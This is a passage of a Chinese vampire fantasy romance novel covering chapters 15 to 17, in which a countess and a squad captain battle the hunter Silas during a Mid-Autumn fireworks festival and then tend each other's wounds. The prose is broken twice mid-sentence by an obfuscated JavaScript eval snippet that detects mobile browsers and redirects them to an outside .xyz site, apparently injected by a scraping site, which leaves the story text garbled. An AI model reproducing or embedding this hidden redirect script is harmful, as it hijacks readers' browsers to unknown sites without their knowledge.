黎信步的心口忽而感到发堵,一时间,他有些分不清楚,这究竟是他的情绪还是奥黛的情绪。 只知道,这枚戒指对她很重要。 沉默良久,他说:“我试试。” “不用了。”奥黛说,“这原本就是我母亲强行送给我父亲的戒指,父亲怨恨她,终其一生都想逃离她的束缚。既然摘不下来就算了,就当我成全他自由好了。” 她一直都清楚父亲过得不顺心,常年都在和母亲吵架,自从他去本纳斯沙漠寻死未果后,父母就开始分居在两地。她随父亲住在深山的城堡,薄莎随母亲住在永夜岛的城堡,一年到头很难见上一面,大有一种老死不相往来之势。 她看见父亲常常在磨一把很锋利的银刀,一刀又一刀划着自己的手腕,任由它流血、愈合,流血、愈合。沾着鲜血的指尖在地上写满了母亲的名字,然后面无表情地拿水冲掉,一次又一次,一回又一回。 他很痛苦。奥黛知道,她一直都知道。 可她什么都不能为他做。 除了帮他长眠。 “你觉得,他是真的想要逃吗?”黎信步忽然说。 奥黛偏头看向他。 感受到心里像刀割一样钝钝的疼痛,黎信步开口说道:“如果憎恨,为什么不念咒语呢?” “!”奥黛的红色眼睛无端地闪烁了一下,瞳孔竖成条形,嘴唇有些轻微的颤抖。 是啊。 明明摘掉戒指就能很大程度摆脱母亲的掌控,可父亲他,一次也没有。甚至就连赴死也是戴着那枚戒指的。 一阵温柔的清风吹进黎信步的心里,他温和地说:“如果像你所说,摘下戒指是这么简单的事,他要是不喜欢伊芙琳女爵,一定,一定,是会念咒语的。” 奥黛认真思考着他说的话,不禁挑了一下眉。 像是心情很好似的,她轻轻笑了一声。 是她当局者迷。 过了整整三百年,才发觉父亲其实并没有那么怨恨母亲。 或许,她与薄莎曾是一对恋人相爱下诞生的孩子。 她们的存在对父母来说,也许并不是拖累。 清风吹过枝头,吹落叶上露珠,拐角处的矮墙,有一朵蔷薇正在雀跃地绽放。 “黎信步。”她也认真地叫起了他的名字:“戒指你先保管,我会找到第四种方法摘掉的。” 黎信步敏锐地问她:“那还有其他两种方法是什么?” 奥黛默了一瞬,轻哼一声:“你一个奴隶,管那么多干什么。” 汽车疾驰,驶入花幕。 放眼望去,蔷薇花瀑挂了满墙。 15. 中秋 面对西拉斯的恫吓,星城政府拿出了强硬的态度,中秋节烟花大会不但要办,还要办得漂亮。 中秋节当天,夜游队员们全体出动,在人潮最密集的地方值守巡逻,尤其是在一江两岸,以及地标建筑傲人洲处重点戒备。 太阳刚下山,鹿露就来到了奥黛家接她。 奥黛注意到,鹿露今天全副武装——作战服焕然一新,身体薄弱的地方都加入了圣银材质,腹部挂载的弹袋里除了有银质子弹外,还有几发圣银子弹。 用鹿露的话来说,就是“从来没有打过这么富裕的仗”。 鹿露从袋子里拿出一套黑色的作战服,往她身上比划:“来试试你的吧,女爵。” 奥黛:“我也要换?” 鹿露理所应当地点点头:“当然啦,女爵也是夜游队一份子嘛。” 与其他队员银色作战服不同的是,奥黛的作战服是黑色的,由无袖上衣、半指手套、长裤和军靴组成。 作战服设计得简洁利落,穿上以后意外的合身,包括奥黛后背肩胛骨处的剪裁也很合理,方便她随时伸展出血族翅膀。 将裤子收束进军靴里,才发现这军靴也暗藏玄机。 不知道是什么材质做成的,外观硬朗,质地厚实。靴筒大概到她小腿中部的位置,后脚跟处有一个很小但很突出的铜扣,轻轻一按,靴头会弹出一把银制的锋利小刀。 奥黛穿着军靴,左右脚都蹬了两下,不禁翘起了嘴角。 “好飒啊女爵!” 艾琳一边夸,一边猛猛拍照,发到名为“相亲相爱??海尔珀林(65)”的群里: 【站姐返图。(奥黛作战服照片□□g)】 群里的血仆们立刻跟随队形: 【女爵中的女爵!(抱拳.jpg)】 鹿露给奥黛佩戴好了头戴式作战耳麦,又递给她一把圣银军刀:“队长要我把军刀给你。” 奥黛接过军刀,把它塞进腰侧的装具袋里,问:“他人呢?” “队长今天在岸上指挥和保护群众。” “我今天需要做什么?” “女爵的夜视能力和嗅觉很厉害,所以就请你留在傲人洲上替我们侦查啦。”鹿露点了点自己的耳机,叮嘱道:“如果有什么发现的话,记得随时交流哦。” 立于傲人洲上,两岸夜色尽收眼底。 林立的高楼,闪烁的霓虹巨幕,跨江大桥的彩色灯带,一并倒映在了江面上,一条又一条游船驶过,撞碎了五光十色的江水。 烟花大会九点开始,现在还不到八点,江边就站满了人,放眼望去,就像是黑压压的低矮群山。 除船以外,数十只夜游队银色巡逻快艇也在江面上穿梭着,每两人为一组,像旗鱼一样,威势赫赫地破水而行。 江滩上的人愈发多了,搅得奥黛的心中并不宁静,不过好在耳机可以降噪,极大程度地阻挡住了人声。红色的眸子眨也不眨的眺望着江水两岸,并没有发现什么特别的人或事。 流动的江水冲散了一切气味,让吸血鬼的超然感官毫无用武之地。 江面上的游轮也愈发多了起来,三艘体积差不多的游轮并驾齐驱地经过傲人洲。 江风卷来一丝熟悉的气息,吹到了奥黛鼻间。 奥黛忽然皱眉:“不太对劲。” 是吸血鬼的味道。 在哪里? 耳机里,黎信步的声音低低地传来:“徐让,你带队去看看。” 徐让:“收到。” 数艘巡逻快艇轰然驶向傲人洲前的游轮,将它们团团围住。 岸边,黎信步手中的电子屏幕上分成若干个小屏幕,即时出现了各个巡逻快艇的记录仪视角。 从屏幕上来看,这三艘游船似乎并没有什么特别的地方。一艘是新中式的仿古鎏金游轮,一艘是简约的钢琴风纯白色游轮,一艘是浑身炫光的未来科技感游轮。 黎信步点了几下屏幕,切屏调出了中秋节在星江航行的游轮资料。这三艘都是500客位的小型游轮,申请航行的手续一应俱全,包括本次登船的游客信息也很详实,看起来并没有什么异样。 黎信步举着望远镜看了一会儿,面目冷沉:“为什么这三艘游轮吃水会这么深?” 像这样500客位的游轮,吃水深度通常为两米到四米左右,可从外观上来看,三艘游轮的大半船身都隐于漆黑的江面之下,远超四米了,因此显得格外地沉重。 闻言,每一艘巡逻艇都派出了一位队员登上游轮,进行检查。 “例行安保检查,请所有人都来甲板。” “例行安保检查,请所有人都来甲板。” “例行安保检查,请所有人都来甲板。” 三个声音分别在三艘游轮上响起。 话音刚落,所有游轮的灯光齐齐熄灭。不仅是游轮,就连远处的高楼灯光、霓虹光幕和大桥灯带都像是被什么扑灭了一般,江面顿时陷入了一片黑暗的死寂之中。 墨汁一样的黑雾铺天盖地地袭来,近处、远处糊作一团,什么都看不清了。 游客们交头接耳,还以为是烟花大会之前的惊喜,不禁紧张地期待了起来。 突然间,三艘游轮自己开了起来,摇摇晃晃地直奔前方的游轮而去,然后越开越快,大有往岸上冲撞的架势。 船身剧烈地摇晃起来,游客们尖叫的声音此起彼伏。 船在不断地晃动,不论是游客还是队员,都被颠得东倒西歪,只得随手抓住什么,拼命地稳住身形。 徐让看见面前有黑影窜出,在即将滑出游船外的前一秒,他没有抓住栏杆,而是顺势侧身,掏枪射击。 圣银子弹子弹精准地命中黑影,炸裂出一片炽热的光晕,消散了一小片黑暗。 扑通一声,徐让落水。 其他队员在他之后也开出了第二枪,第三枪,第四枪…… 大家相继落水,漆黑的夜幕被炸出了一朵又一朵明亮的烟花。 船尾处,数道黑影不堪重负地蹿了出去,直奔巡逻艇而去。留在艇上的队员们先是觉得艇身一沉,很快便见到黑影们伸着獠牙朝他们扑来。 像是早有准备般,他们毫不犹豫地拔出手臂上的圣银军刀对其猛戳,獠牙徒劳地撞在圣银材质的脖颈护具上,双手被死死铐住。 独属于吸血鬼的肮脏气味,长久地弥漫在大江之上。 于千万气味里,奥黛敏锐地捕捉到了一点阴冷的熟悉感。 她歪了歪脑袋,血色竖瞳顿立,肩膀一耸,两翼翅膀瞬间从她身后展开,军靴轻巧地往地上一蹬,再次降落的时候,方形的鞋尖点在了一块木纹甲板上。 很快,她又不见,等到再次下落时,巡逻艇的船尾微不可查地轻轻一颤,在水波尚未消弭前,她又隐于夜色中。 至此,狩猎正式开始。 黑影掠向哪,她就追去哪。 从一个甲板,追到另一个甲板。 从一根桅杆,追到另一根桅杆。 追到一片江心礁石处,忽然就失去了对方的踪影。 这才发现,她已经飞出离傲人洲不算近的距离。这里已经没有什么人与船只,只有奔流的江水,和不停拍打着礁石的浪花。 感受到脑后一阵寒意,奥黛迅速闪身,一道带着杀意的银芒贴着她的侧脸而过,削去她半缕黑色的长发,和戴在头上的耳机。 卷发与耳机甫一落地,就被湍急的江水迅速冲走。 ——同时被冲走的,还有被她用圣银军刀剜下来的、来自对方的半角黑色衣袍。 奥黛转头回头望向来人,唇间绽出一抹带着寒意的微笑。 “西拉斯,抓到你了。” 满月之下,西拉斯黑色长袍上的纹路泛着粼粼的光泽,大约是光明一类的魔法符文,让她看得有些头疼。 一只爬满凹凸不平的疮疤的手抬了起来,摘下了黑色兜帽,露出了一张美丽而静郁的脸。长长的睫毛在月光的照耀下,垂下了一排鸦羽似的阴影,西拉斯抿着唇,一语不发。 浓密的黑色卷发被风吹得凌乱,让他薄情的五官被衬托得更加立体。他的眼睛像毒蛇一样狠厉,死死地盯着她,一眨不眨。 目光在奥黛的脸上停顿了片刻,似乎是在寻找和怀念着什么,随后又觉得可笑,他讥讽地笑了一声:“错了,女爵。” “是我,抓到你了——在我面前,你们吸血鬼永远都只是猎物。” 远处传来了一声声圣银子弹的枪声,像是听到了什么美丽的交响乐曲,他的表情逐渐变得松弛与愉悦:“喜欢我送给你的礼物吗——特意安排了这么多吸血鬼同类为你殉葬。” 奥黛听见此起彼伏的枪响,冷笑:“迦莱尔恐怕不会放过你。” 西拉斯一嗤:“谁在意呢。” 她的目光依次落到了他的黑发、血瞳、尖牙以及长甲上,问他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042982|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“那些吸血鬼,不也是你的同类么?” “我的同类已经没有了!”平静的表情忽然崩裂,西拉斯吼道:“吸血鬼猎人已经不存在了!” “一百年,我用自己封印了你整整一百年!当我从坟茔里爬出来的时候,世界上已经没有吸血鬼猎人这个职业了,而血族居然正在和人类和谈?多可笑!人类和吸血鬼为什么可以共存?人类和吸血鬼凭什么可以共存?!” 如果可以,那为什么一百多年前不行? 如果可以,那么多被血族杀死的血猎算什么? 如果可以,那蛰伏在海尔珀林女爵身边的他又算什么? “所以你对人类策划了一场又一场袭击,甚至,不惜与血族王子结盟?” “是啊,可惜的是今天迦莱尔没来。” “那你和吸血鬼究竟有什么不一样?” “我只是让人类看清楚你们吸血鬼的本性而已。”站在礁石上,黑袍被江风吹得猎猎作响,他抬起了下巴说:“我和你,和薄莎,和迦莱尔永远都不一样。” “你也配提到薄莎。”奥黛的目光骤然变得冰寒无比,手中的圣银军刀直接刺向西拉斯的胸膛。 西拉斯双翼一展,在刀尖逼近他心脏时瞬间凌空,紧接着,一道银色光芒自上而下地照射至礁石上。 他操控着光明魔法,打开魔法阵外圈,强势的光束霸道地朝奥黛扫射而来。 江心礁石所占的地方很小,可供奥黛躲避的地方就更小了。在她刚刚展翅腾空时,右翼就被外圈的光芒击中,整个人失去了平衡,摔落在礁石上。 后背被尖利的石头刺穿,一个巨大的江浪兜头拍来,冰冷的江水灌入口鼻,礁石和砂砾组成的浅滩上,晕开了一片暗红的血迹。 而展翅立于半空的西拉斯,手里捧着银色圣光,像是油画里走出的神明。然而他眉目刻毒,脸上丝毫没有半点神明的悲悯之色,冷声说:“你现在,比一百年前可差得远。” 说着,他翻动了一下手掌,光柱再次朝奥黛射去。 就在他翻掌的那一刻,奥黛抬起受伤的翅膀,倾斜着身体,如利箭般朝半空中射去。 西拉斯果不其然朝她追来。 一道寒芒被她用力掷出,捅穿西拉斯的黑色翼膜,而她也被光柱再次击中。 她和西拉斯同时落到了礁石上,来不及检查伤口,水浪便裹挟着滔天的恨意,推动着他们向对方狠扑过去。 军靴往后一踢,踹出了银制小刀,往前一踢,小刀冷不防扎进西拉斯的腿中,使他不得半跪在水中。 这时奥黛流利地将足尖的小刀握于手中,正要将它推入西拉斯的胸膛时,忽然听见一声熟悉的呼喊—— “姐姐。” 奥黛的足下好像生根了一般,僵立在了原地。 西拉斯从水中爬了起来,卷曲的湿发像毒蛇一样贴在了他的额头,血红的眸子是毒蛇的信子,他残忍地凝望着奥黛,掌心凝结的魔法阵熠熠生辉,照亮了奥黛的面容。 虽是双生子,但她与她妹妹长得并不相似。 西拉斯面无表情地高抬起了魔法阵,自上而下地照耀着奥黛。 奥黛不得不在圣光的引领下,微抬起了下巴,微仰起了脸。灼人的痛苦并未到临,因为外圈被西拉斯关闭了,而内圈的光芒却因此变得更加剧烈和清晰。 红宝石一样的眼睛再一次映入了内圈的形状——花苞状的蔷薇缓缓舒展,最中心处的是一颗暗红色的血滴。 而她背上的银色蔷薇也蠢蠢欲动,再次伸展出了枝叶。 她动不了了。 西拉斯眼里闪烁着偏执的疯狂,手背满不在乎地擦去嘴角溢出的血迹:“喜欢我为你挑选的安息地吗?” “这一次,不会再有人能来救你了。” 剧烈的强光直射奥黛的面中,三百年的走马灯依次在她的眼前闪过。 父亲。母亲。薄莎。 还有一个模糊的身影,是谁? 她咬紧牙关,身躯颤抖着用力,试图摆脱血脉带来的桎梏,抵抗着灵魂的攫夺。 抓着小刀的手刚往上举起了两厘米,手中的刀就被西拉斯轻而易举地抽走了。 一道弧线,一声闷响,刀被无情地扔入水中。 西拉斯的声音听起来很诡异,像是海妖塞壬的低语,半是痛苦半是兴奋,在空寂的江面上响起—— “安息吧。奥黛·海尔珀林。” 16. 烟花 星江像被一张深渊巨口所吞噬,偌大的江面漆黑一片,偶有圣银子弹命中吸血鬼,迸发出朵朵银白色的火花,每绽出一朵,就会有游客拍手叫好。 他们丝毫不知情夜游队今晚的行动,还以为这是安排在烟花前的特别表演,除了黑了点,并没觉得有哪里不妥,于是在黑暗中捧场地欢呼。 “游轮清扫完毕。” “江面清扫完毕。” “电力部门说预计五分钟后来电。” 耳机里传来队员说话的声音。 解决完岸上最后一只吸血鬼,黎信步一边把枪塞回枪套里,一边应声:“好。” 此时夜雾尚未散化,他凝望着江面的方向问:“有人看到奥黛吗?” 她的频道陷入一片死寂,很长时间都没有回应过了。 队员们纷纷说没有。 浓稠的夜色遮蔽住了天地,月亮隐于其中,不见踪迹,没来由的,黎信步感到一阵心慌。 食指忽然传来一阵锐利的疼痛,连带着心脏都不可遏制地颤动了起来。一道桃粉色的光在他的指尖跳跃,他想都不想便驾驶着快艇,朝着食指指引的方向,一头扎进了浓雾之中。 快艇疾驰向大江中心,像一道流星,急速划过死气沉沉的江面,转瞬便消失在了夜色里。 周围的呼喊,他好像什么也听不到。 只有心头绝望的悲凉,一声又一声。像是为他吹响的,冲锋号角。 · 江心礁石滩。 立于奥黛头顶的魔法阵越变越大,几乎笼罩住了整个浅滩。 在这轮满月一样的圣光之下,奥黛低垂着脑袋,合上了眼睛,安静乖巧得像是一只没有情感的牵线木偶,任头顶的光束提拽着她。 内圈里的蔷薇光束,与她背脊上的蔷薇花纹还在不断盛放,等二者盛开到了极点,她就会被吸收进这面魔法阵里,永远留在她脚下的礁石上。 也许再过一百年,这块礁石会被江涛冲刷、被江水席卷得无影无踪,那么这世上就再也没有奥黛·海尔珀林女爵了。 西拉斯默念着咒语,看着魔法阵不断丰满完善,心里却并没有感到一丝畅快。 无尽的愁郁混着汹涌的江浪拍打着他的心脏。 他甚至都不知道自己是什么时候沾染上的这愁郁。 是从杀掉另一位海尔珀林女爵开始? 是从被她初拥开始? 还是从与她打赌杀她三次开始? 西拉斯闭紧了通红的眸子,强迫自己心无杂念地封印奥黛。 口中不慎念错了一个字,银色光芒骤减,魔法阵突然坍缩。 被归还一部分意识的奥黛倏地睁开了眼睛,提拽住她双手的光线像琴弦一样绷断。 “动不了手?”她的唇角带着讥讽。 怎么可能? 咒语再次被念响,光芒重新凝聚——是比先前更为灿烂、盛大的光芒。 这就是我想做的事。 我活着就是为了杀死你。 我活着就是为了杀死你们。 我活着就是为了杀光最后一只吸血鬼。 ——怎么、可能、动不了手?! 在巨大的魔法阵再次崛起之前,奥黛不动声色地拾起另一只军靴下的小刀,用力扎破光圈下潜藏的破绽——那滴属于薄莎的血液。 暗红的血滴像一颗精致的宝珠,一瞬间爬上了密集的蛛网,碎裂迸溅出来。乌黑长睫轻轻一挡,一点血迹溅到了奥黛的眼下,就像从前无数次她保护着薄莎那样,薄莎正保护着她。 魔法阵的光芒彻底熄灭。 西拉斯眼睁睁地看着他的宝物碎裂,猝不及防地吐出了一口血,一股剧烈的恐慌将他团团围住。不过彼时,他尚不明白自己失去的究竟是什么。 但是没有关系,被薄莎初拥以后,他也流淌着海尔珀林家族的血脉,同样可以用自己的鲜血开启内圈。 内圈再次被点亮的同时,一阵剧烈的轰鸣声也由远及近地传了过来。 循声望去,一道刺眼的白光照得人睁不开眼。 在耀眼的白光中,一个身材高大、身着银色作战服的青年单手操纵着快艇,乘风破浪,一往无前朝他们驶来。他的另一只手,手臂上肌肉绷紧,手掌坚定地朝礁石边伸出—— “奥黛!” 声音像是什么破解魔法,解除掉了她足下的光线桎梏。 飞溅的水花在她的军靴下接连绽开,她飞速跑向他,在他的快艇即将触礁的前一秒,用力地抓住了他的手。 像是抓住了剧烈的心跳。 黎信步一只手把奥黛拽进了自己的怀里,另外一只手急转舵轮,快艇灵活拐弯,翻腾的白浪像雪崩一样坍塌在西拉斯的面前,而狂风在他们的背后起舞。 紧接着,一颗圣银震爆弹砸在礁石滩上,炸出明亮灼目的强光,水面霎时翻起滔天巨浪,无数圣银碎片像银屑一样洒落下来,彻底阻挡住了他的脚步。 快艇甩开银光,锐不可当地冲向黑雾,无论是西拉斯还是奥黛都知道今晚他们已经失去了动手的最好机会,只能不甘地看着对方远走高飞。 直到前方渐亮,两岸绮丽的彩光荡漾在水面上,快艇的速度这才慢了下来。 游艇虽然变慢,可黎信步的心跳声却还是很快。奥黛偏头仔细凝望着他棱角分明的侧脸,发现在他低压着的浓眉下,眼尾氤氲出了一点薄红,又遮蔽在变幻莫测的霓虹彩灯里。 “有没有受伤?”黎信步亦望向她,目光从头到尾检查了一遍。 奥黛本能摇头。她不是爱和人哭疼的性格,后背的摔伤已经愈合,黑色衣服半干不干黏在身上,也不太能看得出血迹。 没想到压在舵轮上的蔷薇戒指却散发出幽幽的光,似乎是在拆穿女爵的谎言。 奥黛:“……” 黎信步说:“让我看看翅膀。” “……没有瑞萨那次严重。” “让我看一下。”黎信步目光沉沉道。 僵持片刻,奥黛蹙着眉头,还是抖出了巨大的黑色翅膀。 仍然是那对千疮百孔的破伞一样的翅膀,展露在黎信步面前时,遮住了他一侧的光。黎信步见到上面的刀痕和骨刺,想到它们的来历,心里泛着细密而酸涩的疼意。 她的左侧翼膜被外圈的光击穿,伤口向内翻卷,正一点点渗血,连带着那块翼膜的周围都灼出了拳头大小的红肿。 奥黛从未近距离地给人展示过自己这对丑陋崎岖的翅膀。若非必要时刻,她甚至都不愿意将其伸展出来。 她低着头,却能敏锐感知对方灼热的目光一寸一寸扫过自己的伤口,心头忽而产生了一丝异样,正抖着肩想将其收回,肩头却被一双温热大手摁住了。 “别动。”他哑声说。 下一秒,灼痛的翼膜像被什么清凉的东西浇灌,如久旱的甘霖一样滋润着她。 她闻见了馥郁的、甜美的鲜血的味道。 红瞳的颜色一下就被染深了。 ——黎信步在自己的掌心划了一道口子,直接用恐龙血去涂抹她翅膀上的伤口。原本被魔法阵灼伤的正流血的伤口,经过恐龙血润泽以后,正在以缓慢的速度愈合。 却还不够,迟来的灼热掌心抚过她尖锐的骨刺,抚过她刻骨的刀痕,让她从翼膜到翼骨再到肩颈都产生了酥麻的痒意。 那痒意持续扩大,掌心停在哪里,快意就留在哪里,连肩胛骨都忍不住挺立、绷紧。 空气里持续弥漫着令吸血鬼躁动不安的气息,这让她想品尝,想侵犯,想占据。 但最该做的是远离。 倏然,她收回了翅膀,像被冒犯了似的,生气地瞪着黎信步:“我不喜欢你这样。” “嗯。”虽然应了一声,但他的手仍然停在半空中,保持着温柔抚摸的姿势,任由如注的鲜血往下流淌,溢出浓烈的甜香。 又一滴。 再一滴。 他毫不心疼,眼神看上去平静又疯狂。 奥黛克制地握紧了拳头,眼睛红得发黑,薄唇忍到苍白。 继十天不饮血后,这是她再一次试图掌控自己的意志。 “黎信步。”她屏息静气叫他的名字,直觉觉得他今晚好像有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042983|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里不一样,像一把藏于剑鞘里、供于圣殿上的宝剑,忽然锋芒毕露,让她无法全然掌握住。 “你今天怎么了?”她看不明白他咄咄逼人的温柔、循循善诱的挑衅,于是伸手捏住了他的手腕,想靠捷径去寻找正确答案。 出乎意料的。 她英勇无畏的奴隶,殷红的掌心里,流淌着的除了鲜血,还有害怕。 他害怕什么? 黎信步知道今晚奥黛一定会去找西拉斯。 既害怕她完成心头大事以后,直接去她想去的地方。又害怕她会因此受伤或是被西拉斯再度封印。 但她要走的路,他拦不住,只能聆听她心里的绝望,加入她的战场。他花了十三年的时间,才遇见她,怎么甘心让她就这样离开、怎么可能眼睁睁看她去死? 该用什么把她留住? 如果连让吸血鬼痴迷的甜血都不行。 他还能用怎样的卑劣技巧留住她? 冰凉的指尖倏然擦过他的手腕,然后,黑色的皮质手套轻轻托住了他的手背。奥黛低下头,将嘴唇贴在了在他的掌心。 一分钟,是她对抗他的极限。 黎信步睁大了眼睛,脑海里一片空白,快艇正以极其缓慢的速度前行。 ——虽然不明白他心里的恐惧,但是她想帮他止血。 像一尾小鱼穿梭在河流一样,微凉的舌尖在炽热的掌心里游行。她舔舐他的伤口直到不再流血,舔舐他的阴霾直到变得明朗,舔舐他的强硬直到变得柔软。 “不要害怕。”她抬起头对他说,眼里是餍足后的深沉,唇色也变成了惑人的鲜红。 她看见他的喉结重重地滚动了一下,对上她的目光,他轻轻移开了视线。 她舔舐他的害怕直到变成快乐。 她舔舐他的快乐,把他变成自己的快乐。 喉结滚了一下又一下,痒意从漫长的生命线一直蔓延到了心尖,可他心甘情愿,无处可躲,手掌忍不住顺着她的方向越伸越远。 似乎有什么在他的脑海里炸开了。 ——是烟花。 星城人民期盼已久的烟花终于绽放在傲人洲的上空,万条光华淌落满天,映在斑驳陆离的水面上。一艘快艇慢悠悠驶过,盛着一船绮丽而隐忍的梦。 不可以再深入了。 奥黛警告自己。 她把止完血的手递给了黎信步,十分轻微地转过了头,自然也就没有看见对方那烧红的耳尖。 “谢谢。”两人看着各自头顶的烟花同时开口。 却没有说在谢什么。 末了,奥黛问:“你是怎么找到我的?” 西拉斯释放的黑雾是用来隐匿行踪的,就连她在黑雾中找人都要费一番功夫,何况是人类呢? “它。” 黎信步伸出了食指,月下,一枚粉色的戒指岿然屹立,不可撼动。 西拉斯站在半人高的芦苇丛里,对着明亮的月光,静静地打量着自己手中这枚取不下的淡紫色戒指。 刹那间,思绪似乎飘回到了一百年前。 彼时这枚紫罗兰戒指正天真无邪地开在了那位女爵的手上。 “既然你很想杀掉我,那我就给你这个机会吧。”说话时,她盖耳的短发之下,一只明亮的水晶耳坠狡黠地闪烁着,“打个赌吧,给你三次机会杀掉我,要是三次以后还杀不掉,那你就是我的人了。” “我该怎么找到你?” 女人眨了眨血红的眼睛,随手摘下一枚戒指抛给他:“等你想我的时候就可以找到我啦。” 说着,她斜抱着一支紫罗兰,目不斜视地离开。从他身边走过时,甘甜的清香掠过他的鼻间。 没想到,他将这背影记了一百多年,这戒指他也戴了一百多年。 怎么也忘不了、摘不掉。 西拉斯的眼神逐渐变得阴鸷仇怨,第不知道多少次拔出小刀将无名指割掉。 只是小刀切断手指,那枚戒指还是会连同他的血肉一起再生——这可笑可悲的吸血鬼的再生能力。 唯有死亡才能将其彻底埋葬。 17. 嫦娥 “是它带你来的?” 关于戒指,奥黛了解得并不多。她凝视着戒指,不禁想到了很遥远的从前。 在深山城堡居住的某一天,忽然看见父亲手上的戒指露出了一点桃粉色的微芒,而一惯淡然的父亲看上去竟然有些紧张,紧接着就见到他匆匆忙忙离开了深山城堡。 月光下,奥黛第一次见到父亲挥展出吸血鬼的翅膀——从来都不肯接受自己吸血鬼身份的人,竟然展露出了他所厌恶的吸血鬼的特征。 很快,那双翅膀拥回了她受伤的母亲。 奥黛在伊芙琳女爵的脸上看见了一点得逞的灿烂笑容,像是薄莎每次骗人成功以后的露出的动作。 ——下巴微微抬起,嘴角愉悦地上翘,弯甲不自知地轻轻勾着裙边。 然后,她听见父亲淡漠地说,你回去吧,没有下一次了。 伊芙琳女爵笑着在父亲的脸上落下一吻,然后大摇大摆地走了。 整个晚上,她看见父亲都站在原地,拇指摩挲着戒指,指腹抚摸着脸颊,微微失神。 “嗯。”黎信步对她说,“是它指的方向——我当时,感受到了你的心境。” 奥黛回过神,问他:“什么心境?” “……像是绝望。” 让人听了,心里很痛。 奥黛问:“你一直都能感受到我的心境么?” “也不是一直,只有在你的附近,我才能稍微感觉到一些——我以为你是知道的。”黎信步看着她怔忡的反应,诧异地问:“你不知道?” “……”奥黛没说话。 一贯感知别人心声的女爵,没想到有一天,竟然被别人窥知到了心境。她深吸一口气,谨慎地问:“我现在的心境是怎样的?” 黎信步微微侧挪了些视线,不去看她的眼睛,也不去看她的唇,将自己那些呼之欲出的喧嚣情感极力掩藏,仔细感知着她的心境,像一个偏心的人努力维持着客观和公正。 但效果却不甚理想。 江面声音嘈杂,她的,他的,混作一团。那些奔流的欢愉,绽放的餍足,绵延的克制,还有流动的空虚,不知道来自她还是他。 他声音微哑:“我不知道,分不清了。” 话音刚落,忽觉指间一凉、奥黛用食指遮住蔷薇戒指,花朵瞬间被闷堵在她的指腹之中,隔绝了与外界的联系。 “这样呢?”她把自己的情绪给藏住了,带着一些微妙的得意看向黎信步,“你还能感受到我么?” 感受不到了。 心境中,属于她的那一部分,霎然被抽离,以至于他涌动的情绪都有些失真。抬头望天时,烟花绽放过后的夜幕只剩下弥散的烟雾,世界忽然变得黯淡起来。 他感到一窒,变成了被闷堵在她指腹的蔷薇,非常迫切地想要呼吸一些氧气。 可她又离他这样近。 以至于他不得不心甘情愿地沉溺在这窒息之中。 声音更哑了,他带着沉沉的叹息,缺氧似的开口:“女爵在耍赖啊。” 她高高在上,制定法则:“谁叫我是女爵呢。” 直到听见与他相碰的指尖传来低沉而压抑的声音,像野兽闷在喉间的颤鸣,她微微一愣,这才意识到自己离他这样近。 于是她抽开手,往后退了两步。 蔷薇重新呼吸自由空气。 他却怅然若失。 快艇荡上岸,夜游队员们一拥而上,七嘴八舌地问他们情况。 两人瞬间被人群隔得有些远,有队员惊呼一声:“队长,你受伤了!” “没事。”黎信步从药箱里抓了半卷绷带,随手缠了几圈,蜷手成拳,咬牙扯断,然后熟练地把末端塞进缠好的地方。 宁白看得连连皱眉,伸出手:“我给你消毒止血吧。” “已经止过血了。”他收起了手,往后退了一步,说道:“任务完成。我去跟上面汇报。大家先散了去老地方等我,今天我请客。” 队伍里传来一声解散的欢呼,队员们三五成群往外走。 奥黛不知盯着黎信步离开的方向看了多久,直到周围那股香甜的鲜血味道淡去才收回视线。 她收敛起多余的神情,觉得自己今晚有些不大对劲。 舌尖仍余有甜甜的鲜血的味道。 她还想要更多,想见他流血流泪或是其他。 …… 她屈起指节,重重敲了一下自己的额心,试图唤醒理智。 如果一点鲜血就能使她失智,那么她和蝇虫、和野兽又有什么区别? 恶心。 可是刚刚他站在自己的身边,和自己说话时,她只能看见那一张一合的嘴巴下,是硬朗的下巴曲线,再往下,是浮动着微凸青筋的刚硬脖颈。 她很难不去想象这样的脖颈里流淌的鲜血是多么温热香浓。 或许应该离他远一点呢? 她不能,也不该,任由自己被这样的低劣本能操控。 奥黛眉心紧拧,认真思考。 正准备离开,宁白从后方拍了拍她的肩:“一起去庆功吧。” “不——” 宁白不由分说,直接把她拉进大家的队伍里,两三个女队员牵住了她。 “这可是夜游队的传统,去老地方庆功,一个也不能少。” 所谓“老地方”,是开在附近居民区楼下的一家龙虾店,店面不算大,却刚好能容纳夜游队的队员们。 星城的口味虾名声在外,在网上流传着层出不穷的美食打卡地图。不过好吃的龙虾,或许并不在盛传的美食攻略里,而在大家的口口相传中。 一盆又一盆红亮的小龙虾被老板娘端上桌,桌上除小龙虾外,还有被煎得两面金黄的烤鱼,以及各种被烤得滋滋冒油的肉串素串。 开了背的小龙虾尤为好剥入味,队员们将它们一个接一个地扔进嘴里,很快,桌面上多了许多座虾壳山。 “嘶哈嘶哈”的声音不绝于耳,奥黛看见大家明明被辣得直吐舌头,还不愿意停下,猛吸一口搅碎了奶油雪顶的冰奶茶,手指灵活地剥出鲜嫩的虾肉丢进嘴里。 “你也吃啊。”宁白对她说。 奥黛摇了摇头,不想再吃红颜色的食物,一点一点挑着奶茶雪顶上洒落的碧根果,有些心不在焉地望向窗外。 